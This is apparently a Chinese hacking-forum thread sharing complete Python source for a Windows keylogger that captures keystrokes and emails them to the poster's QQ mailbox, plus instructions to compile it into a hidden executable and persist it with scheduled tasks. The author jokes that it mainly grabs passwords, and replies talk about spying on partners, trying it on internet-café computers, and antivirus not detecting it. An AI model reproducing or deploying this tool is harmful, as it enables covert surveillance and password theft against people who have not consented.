windows键盘监听
本帖最后由 woaipojiejiejie 于 2024-2-27 00:57 编辑可以记录键盘键入的键位,并且发送给特定邮箱
本人要出借电脑给别人,为了防一手就想记录键盘行为,然后写到一半突然发现可以写一个键盘监听软件出来,所以就搞了个这个出来
免责声明:用于非法行为本人无关{:1_932:}
效果展示,enter或者鼠标点击时,并且记录长度大于10(可以自行修改long变量来修改记录长度)时触发发送邮件
https://s11.ax1x.com/2024/02/27/pFdiQJJ.png
https://static.52pojie.cn/static/image/hrline/4.gif
使用方法
第一步:
将代码中的email变量填入自己的qq邮箱
然后password填入授权码,授权码获取如下列图片
https://s11.ax1x.com/2024/02/27/pFdindU.png
https://s11.ax1x.com/2024/02/27/pFdiZLV.png
https://s11.ax1x.com/2024/02/27/pFdimZT.png
第二步:
然后python启动
下列代码打包成.py文件
import smtplib
import pynput
from pynput.keyboard import Key, Listener
from pynput import keyboard, mouse
from email.mime.text import MIMEText
email = ""
password = ""
server = smtplib.SMTP("smtp.qq.com", 587)
server.ehlo()
server.starttls()
server.login(email, password)
message =""
name="52pj\n"
long=10
def on_mouse_click(x, y, button, pressed):
global message
global long
if pressed:
if len(message) >= long:
send()
message = ""
def on_keyboard_press(key):
global message
global long
global name
temp = f"{key}"
if temp == '\'':
temp = temp
else:
temp=" "+temp+" "
if key == Key.enter:
if len(message) >= long:
send()
message =""
elif key == Key.backspace:
message=message[:-1]
elif len(temp)==1:
message+=temp
def send():
msg = MIMEText(name + message)
msg["From"] = email
msg["To"] = email
msg["Subject"] = name
server.sendmail(
email,
email,
msg.as_string()
)
keyboard_listener = keyboard.Listener(on_press=on_keyboard_press)
mouse_listener = mouse.Listener(on_click=on_mouse_click)
keyboard_listener.start()
mouse_listener.start()
keyboard_listener.join()
mouse_listener.join()
记得pip install 依赖包
第三步:
然后pip install pyinstaller
在cd到之前.py的文件夹
执行Pyinstaller -F -wkeylogger.py(你自己取的名字)
就可以在dist文件夹找到.exe文件,就可以运行了
之后可以自己配合windows计划任务食用更佳
忘记说了,要是要停止的话要从任务管理器
https://s11.ax1x.com/2024/02/27/pFdMmeH.png 哈哈,我之前也写过一个,但是大大们不给上传,不过楼主这个占用内存有点高,能明显感觉到鼠标和键盘的反应有不太流畅的情况,还是可以优化一下的,还可以加一个记录鼠标的坐标,后面可以用坐标编写一个辅助工具,来还原当时的操作路径。 实不相瞒,想用来监控一下身边亲近的人,防止老王{:301_998:} 谁能帮我直接代码搞完打包 bazyu 发表于 2024-2-27 13:11
谁能帮我直接代码搞完打包
要是放心给邮箱和授权码的话,我可以帮你{:1_932:} 其实不太用担心被用于非法行为,毕竟生成的二进制程序如果不主动加白名单,各杀软一杀一个准{:1_905:} Pojawa 发表于 2024-2-27 18:33
其实不太用担心被用于非法行为,毕竟生成的二进制程序如果不主动加白名单,各杀软一杀一个准
我的火绒怎么好像没有反应{:1_932:} safe-夏天 发表于 2024-2-27 15:38
实不相瞒,想用来监控一下身边亲近的人,防止老王
那可能需要改改,我这个主要抓取密码{:301_998:} 这就去我家网吧电脑上试试{:301_986:} 感谢分享 学习了